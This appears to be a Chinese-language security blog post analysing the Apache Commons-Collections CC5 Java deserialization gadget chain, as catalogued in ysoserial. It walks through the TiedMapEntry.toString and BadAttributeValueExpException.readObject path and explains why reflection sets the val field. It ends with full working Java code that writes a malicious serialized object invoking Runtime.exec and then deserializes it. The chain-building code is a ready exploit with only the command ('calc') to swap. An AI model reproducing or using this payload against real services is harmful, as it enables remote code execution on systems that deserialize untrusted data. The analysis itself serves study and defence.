java-CC5-链审计笔记
java-CC5 链审计笔记
调用链
来自 ysoserial 的注释描述
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
Requires:
commons-collections
This only works in JDK 8u76 and WITHOUT a security manager
其实 CC5 和 我们经典的 CC6 是大相径庭的,只是调用了不同的 TiedMapEntry 方法,在 CC6 中 是从TiedMapEntry.hashCode() => TiedMapEntry.getValue() => LazyMap.get()
链条分析
我们在 LazyMap#get 方法,查找用法,找到了 TiedMapEntry.getValue() 有调用

进入到 TiedMapEntry 看看哪里调用了 getValue() 方法,发现有三处方法调用
public boolean equals(Object obj) {
if (obj == this) {
return true;
}
if (obj instanceof Map.Entry == false) {
return false;
}
Map.Entry other = (Map.Entry) obj;
Object value = getValue();
return
(key == null ? other.getKey() == null : key.equals(other.getKey())) &&
(value == null ? other.getValue() == null : value.equals(other.getValue()));
}
public int hashCode() {
Object value = getValue();
return (getKey() == null ? 0 : getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
}
public String toString() {
return getKey() + "=" + getValue();
}
我们的 CC6 正是用到了 hashCode() 方法,而在我们的CC5 中使用到 toString() 方法
找到了 BadAttributeValueExpException.readObject() 这个方法

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);
if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}
看到 valObj.toString() 我们只需要通过反射来获取到
为什么需要反射?
在 BadAttributeValueExpException 的构造方法,也执行了 val.toString() 方法,在序列化的时候,不用反射的话,恶意代码会在我们本机执行。
而在 val.toString() 方法执行后,我们的 val 就不是Object类型了,而是String类型。无法调用后续的链条
public BadAttributeValueExpException (Object val) {
this.val = val == null ? null : val.toString();
}
我们依然可以调试一下,试着直接在构造参数中传递 tiedMapEntry
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(tiedMapEntry);

最终代码
package com.lingx5;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class ApacheCC5 {
public static void ser(){
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map lazyMap = LazyMap.decorate(new HashMap<>(), new ConstantTransformer(null));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "lingx5");
BadAttributeValueExpException badAttributeValueExpException =
new BadAttributeValueExpException("lingx5");
try {
Class<? extends LazyMap> Clazz = (Class<? extends LazyMap>) lazyMap.getClass();
Field factory = Clazz.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazyMap, transformerChain);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, tiedMapEntry);
FileOutputStream fos = new FileOutputStream("cc5.ser");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fos);
objectOutputStream.writeObject(badAttributeValueExpException);
} catch (Exception e) {
e.printStackTrace();
}
}
public static void deser(File file){
try {
FileInputStream fis = new FileInputStream(file);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
// 序列化
ser();
// 反序列化
String projectDir = System.getProperty("user.dir");
Path path = Paths.get(projectDir, "cc5.ser");
deser(path.toFile());
}
}


浙公网安备 33010602011771号